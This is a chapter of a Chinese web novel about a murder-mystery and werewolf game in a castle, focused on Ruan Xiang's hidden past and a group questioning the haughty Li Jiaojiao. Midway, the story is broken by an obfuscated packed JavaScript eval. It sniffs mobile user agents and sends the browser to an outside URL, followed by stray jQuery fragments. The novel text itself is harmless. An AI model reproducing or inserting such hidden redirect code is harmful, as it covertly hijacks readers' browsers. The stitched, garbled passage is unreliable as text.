10. 第十章 争锋相对

作品:《今天努力活着了吗

    阮湘独自坐在柜台边上,单手撑着脑袋吸着果汁。隐隐约约听到了筱桐与苦一的对话,心情还不错。


    由于中午要和林浅,余秋晚一起吃饭,顾彦已经在厨房研究起了食谱。于是阮湘得到了独处的机会,她望着那四个人的方向,心底生出一丝暖意。


    “本来是想拿他们当枪使的,我在幕后坐享其成就好了,但如今看来,我还是被人盯上了,也许到那一天,他们会比我更先一步接触到真相吧。


    现在尽量为他们铺好路,让他们成为人群里的太阳,而我扮演着黑夜,被他们的光芒照耀着驱散,华丽退场。要是能晚点死就更好了。”


    阮湘这么想着,便注意到了那一抹不可忽视的灼热的目光,来自一位雍容华贵的小姐。


    黎娇娇走近,她的目光中透着淡淡的傲慢,但又不失优雅,仿佛她所注视的一切都在她的掌控之下,她就这样上下打量着阮湘,轻蔑地讥讽:


    “你就是阮湘?看着倒是一副穷酸样,不知道他到底看上你什么?”


    阮湘若无其事地咬着吸管喝着果汁,并不打算搭理黎娇娇。


    黎娇娇不悦地抬起阮湘的下巴,直接揭掉了阮湘的假面,动作行云流水,连阮湘都没反应过来:


    “成天神秘兮兮的,我倒要看看……”


    阮湘毫不犹豫打掉了黎娇娇的手,望向黎娇娇的眼神里写满了警告:


    “黎小姐,你越界了。”


    黎娇娇揉着自己的手腕,斜眼睨着阮湘,一个贱民也敢这样看着她?彼时阮湘的话语格外刻薄:


    “你以为我不知道你的那点破事吗?如果你再来打扰我,我也不介意让其他人看看黎小姐光鲜亮丽的外表之下是什么样子。”


    黎娇娇脸色铁青,像是受到了什么惊吓,慌张地扭头就跑。黎娇娇以为自己看见了鬼那张脸的主人应该在十年前就死了才对啊!还有那些话!这一定是恶鬼来索命了!黎娇娇失魂落魄地冲回了自己的房间。


    阮湘正想要重新拾起假面戴上,一道熟悉又陌生的声音让她停下了动作。


    “阿琳?是你吗?”


    来者略微颤抖的声音中夹杂着些许试探。阮湘一瞬间对上了苏兀带着一丝惊愕的眼睛,又垂下了眼。


    “兀哥,姐姐已经死了。”


    苏兀的眼底犹如十年冰封的潭水一样冷,怎么看都很失望:


    “是你啊,苏湘,好久不见。”


    阮湘时隔十年再次听到这个称呼,心里五味杂陈:


    “嗯,好久……不见。”


    阮湘抬眼便发现苏兀还目不转睛地盯着自己,有些不自在。阮湘知道苏兀是在透过自己在寻找姐姐的影子,但这世上本没有两朵一模一样的花。阮湘苦笑着:


    “别这么盯着我了,我终究不是她。”


    话音刚落,头顶上便传来那道令人心安沉稳的声音:


    “是谁在欺负我那柔弱不能自理的员工?”


    阮湘只觉得刚刚果然是错觉,这人还是一如既往地不靠谱,她暗戳戳地拧了顾彦的手臂,小声但咬牙切齿:


    “有病?”


    两人的小动作被苏兀尽收眼底,苏兀与顾彦的眼神在空中较量,并不甘示弱:


    “我是她哥哥,我们的家事还轮不到一个外人插嘴。”


    刚从公厕出来的梁墨手上的水还没干,正用两根手指头捏着游戏机,有时候一个人碰见这种令人尴尬的场面也很无助的。


    梁墨自认识苏兀以来,鲜少见到他这么恼火的样子,于是梁墨一鼓作气冲到了苏兀身边,趁苏兀还没反应过来(应该说在场的各位都没反应过来),拉走了苏兀,嘴里还念念有词:


    “可算是找到你了,我下载了一个新游戏,咱一起玩。”


    待梁墨强行将苏兀拉走后,顾彦自觉地拉开了一些距离,阮湘转身面对他,本来她是打算利用苏琳的死提醒苏兀,他们之间的情谊早在十年前就已不复从前了,但顾彦在那时突然出现,到底是巧合,还是有意为之?


    顾彦很认真地叮嘱:


    “别离我太远,他还会来找你。”


    阮湘若有所思地凝视着他毫不避让的眼睛:


    “谢谢,不过,你不怀疑我和他之间有什么秘密?”


    顾彦才意识到自己表现得过于从容,反而令人生疑,但未曾流露出一丝慌乱的眼神让阮湘找不到破绽:


    “我不相信他,但我相信你。”


    阮湘看似随口一提,实则意有所指:


    “对了,你知道十年前那起古堡生日宴的案子吗?”


    顾彦已经猜到阮湘想求证什么,只说了一半,隐瞒了一半:


    “我之前好像有受邀参加过一个朋友的生日宴,但我和生日宴的主角并不是很熟,只是简单待了一会儿就离开了,那个布局倒是和这个古堡有些相似,时间太久了,记不清了。说偏了,你说的案子是什么?”


    阮湘的疑虑并没有就此打消,她很认真地看着顾彦,每一个眼神里似乎都在拆解着对方的模样,不放过任何一个细节:


    “我们是不是在哪见过?”


    顾彦只是静静望着阮湘闪烁着微光的眼睛,声音很轻,说了句:


    “我很希望你是发自内心问出这句话。”


    “什么?”


    阮湘没听清顾彦在嘀咕什么,仍旧睁大着眼直直注视着他。


    “没什么,要是我们真的见过,你又怎么会认不出我来呢?”


    顾彦垂着眼,略过了阮湘,高大的背影竟显得有一点孤独。阮湘没有没有叫住他,只是默默地目送他离开。


    “我又怎么会认不出你来呢?”


    阮湘自言自语重复着:


    “大概是因为我的记忆也褪色了吧。”


    苦一听进了筱桐的推理,正苦恼着如何洗清自己的嫌疑,那枚纽扣不知落在了哪里,但极有可能会被狼人拿来做文章,目前能做的,只能见招拆招。


    “关于此局,你有什么想法?”


    “你最后一次看见自己的纽扣是什么时候?”筱桐指了指洗衣房。


    “我没有印象了,我是今早去洗衣服的时候才发现的。”苦一轻摇着头。


    “想必这个纽扣肯定会被拿来做文章。”筱桐用手摩挲下巴,“不如把纽扣全拔了丢在每个人放房里,与起成为众矢之的不如主动出击,而谁会在意房间突然出现的纽扣呢?”


    而到时候,谁先提及纽扣,一切不就都明白了。苦一止言又欲:


    “那个……衣服我还要穿,没有其他办法了吗?”


    “把我们每个人的纽扣都摘下一颗,然后塞进死者房间里行吗?”


    陆遥想法很大胆,虽然他并不知道死者手里已有苦一的扣子。


    “这有点搞笑了。”


    剑扯了扯嘴角,兴许是因为她同时兼具忧愁与感到可笑的两重情绪,说话时面色仍显苦涩。筱桐稍加思索:


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14889673|159951||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “尸体已被搬进冰窖了,再者这样做相当于说明了‘此地无银三百两’,我们要解释的是纽扣是被有心之人特意拿走并栽赃给苦一的,现在需要证人和证据。”


    “很显然,我们每个人都不是证人,凶手摆明是冲着我们来的。敌暗我明,光想没有用,去找找线索吧,看看现在的大家都在做什么。”


    剑拍拍筱桐的肩,虽然有点高让她够不着,她冲着面露关怀的苦一扯起一抹微笑。


    于是他们挨个探访,一天过去所有人还未完全熟络,筱桐看见黎娇娇房间门关着,离他们最近,想必有人在里面。他刚要敲门,便被苦一拦住。


    “她可能和我们合不来。”苦一提醒道。


    “可是线索如今必须从他人口中获得了,刚刚我们在房间里什么也没找到。”陆遥说。


    苦一叹口气:“可我觉得她不会愿意分享线索。昨天下午她也说了只与上层人士交往。”


    陆遥整张脸都皱了:“啊,难道她竟会如此心胸狭隘到这种地步(指不分享线索)吗?!”


    这时房门突然打开,原本刚受到惊吓和气就没有消的黎娇娇听到他人的毁谤气上加气,直接与四个人面对面:


    “有病吧你们这些贱民,敢随意诋毁我!”


    “我们怎么就是贱民了!”剑对于黎娇娇的态度感到恶心,冲她喊。


    筱桐用鼻孔看人:“那你说你是做什么的?”


    苦一挡在了剑的面前,出于礼貌,她心平气和地说话:


    “抱歉,黎小姐,我们无意与你争执,只是想问点事情。”


    “不自报家门,我绝不考虑是否回答。”


    黎娇娇穷追不舍,剑从苦一后探出头:


    “我老公掌握全球经济命脉!”


    这句话相当有效,姓“黎”的“虎躯一震”,以稍微和缓的口吻问:


    “他姓什么?”


    苦一抢先回答:“我从事石油开采相关工作!”


    “不就是工人吗?贱民!”


    陆遥抢后回答:“我是某公司高级职员!”


    “贱民,别打断我,他姓什么,他姓什么告诉我。”


    筱桐最后回答:“我是……总裁。这样够上层吗?”


    “哪家公司?”


    “呃……”筱桐缓缓道出他的公司,黎娇娇瞳孔地震:


    “居然是掌握全球经济重要命脉的筱氏家族,失敬!”


    趁此机会剑搭上筱桐的肩膀:


    “没错,他是我老公的弟弟。”


    剑如此语出惊人让筱桐一瞬间不想和她站一块:


    “什么弟弟,是哥哥!”


    但对面的黎娇娇已经被金钱闪瞎了双眼,她卑躬屈膝,掐着能夹死苍蝇的腔调娇滴滴地向着“筱桐”的方向说:


    “筱哥哥,有什么事妹妹会帮您的呀。”


    陆遥看着逼近自己的黎娇娇而大惊失色,他只好向筱桐求助:


    “哥,她好像认错了。”


    筱桐面不改色:


    “是的,她瞎了。”


    言归正传,在获取了黎娇娇的信任(?)后,死四人询问其是否收获什么线索。但黎娇娇只是向他们言明自己并没有与他人深交,她一直在暗中盯梢顾彦,只知道他一直和阮湘在一块。


    到头来和她扯了这么久,什么都没收获到,还差点把陆遥搭进去了。筱桐揉了揉清明穴,感觉在两天内经历了太多。